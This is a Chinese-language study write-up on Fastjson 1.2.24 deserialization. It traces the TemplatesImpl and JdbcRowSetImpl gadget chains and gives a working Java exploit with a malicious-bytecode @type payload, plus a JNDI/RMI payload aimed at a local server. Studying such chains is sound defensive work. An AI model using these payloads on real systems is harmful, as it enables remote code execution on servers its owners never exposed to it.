- dk8u65,最好是低一点的版本,因为有一条 Jndi 的链子;虽然说也是可以绕过,我们这里还是一步步来比较好。
- Maven 3.6.3
- 1.2.22 <= Fastjson <= 1.2.24
pom.xml 导入如下所示
XML
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>
|
主要有两条攻击的链子,一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子。
TemplatesImpl利用链
在前面cc3链的时候,利用的就是TemplatesImpl利用链,通过类加载器来执行恶意命令
1
2
3
4
5
|
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()
ClassLoader.defineClass()
newInstance
|
前面需要一层层调用到getTransletInstance()
方法,而如果fastjson可以直接调用getTransletInstance()
方法,那么就省去前面的链子调用了
而刚好getTransletInstance()
是一个getter
方法,但是getter方法调用是有条件的
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
而这个方法返回的是抽象类,不满足条件
寻找调用这个方法
往上找到newTransformer
,继续找
找到getOutputProperties
返回的是Properties类,继承了HashMap,自然继承了Map
满足条件
1
|
getOutputProperties->newTransformer->getTransletInstance
|
payload
1
2
3
4
|
final String evilClassPath = "E:\\\\javawork\\\\cc3\\\\src\\\\main\\\\java\\\\cc3\\\\calc.class";
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";
|
不需要通过反射来修改,直接json字符串修改即可
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String[] args) throws Exception{
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "E:\\\\javawork\\\\cc3\\\\src\\\\main\\\\java\\\\cc3\\\\calc.class";
String evilCode = readClass(evilClassPath);
ParserConfig config = new ParserConfig();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'Drunkbaby','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);
Object obj = JSON.parseObject(text1,Object.class,config, Feature.SupportNonPublicField);
|
evilCode
传入的是base64编码的数据,但是动态加载类不会解码

可以看到传入到_bytecodes
已经变成字节码数组了
说明base64解码在动态加载前就已经解码过了
根据GPT所说
Base64 数据的解码不是动态加载完成的,而是 JSON 库(如 FastJSON)在解析过程中完成的。JSON 库解析时,根据字段的类型(如 byte[][]
),会将 Base64 编码的字符串转换为实际的字节数据。
基于 JdbcRowSetImpl 的利用链
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式。
1. JNDI + RMI
利用的是JdbcRowSetImpl
类下的setDataSourceName
方法,用的是JNDI注入的Reference
payload
1
2
3
4
|
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}
|
看代码

设置数据源,getter
方法,满足fastjson反序列化调用的条件
再看setAutoCommit
方法

跟进connect方法可以看到

1
2
|
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
|
和JNDI注入时十分相似

而且getDataSourceName()
返回dataSourceName
值是我们可控的
用yakit的工具


弹成功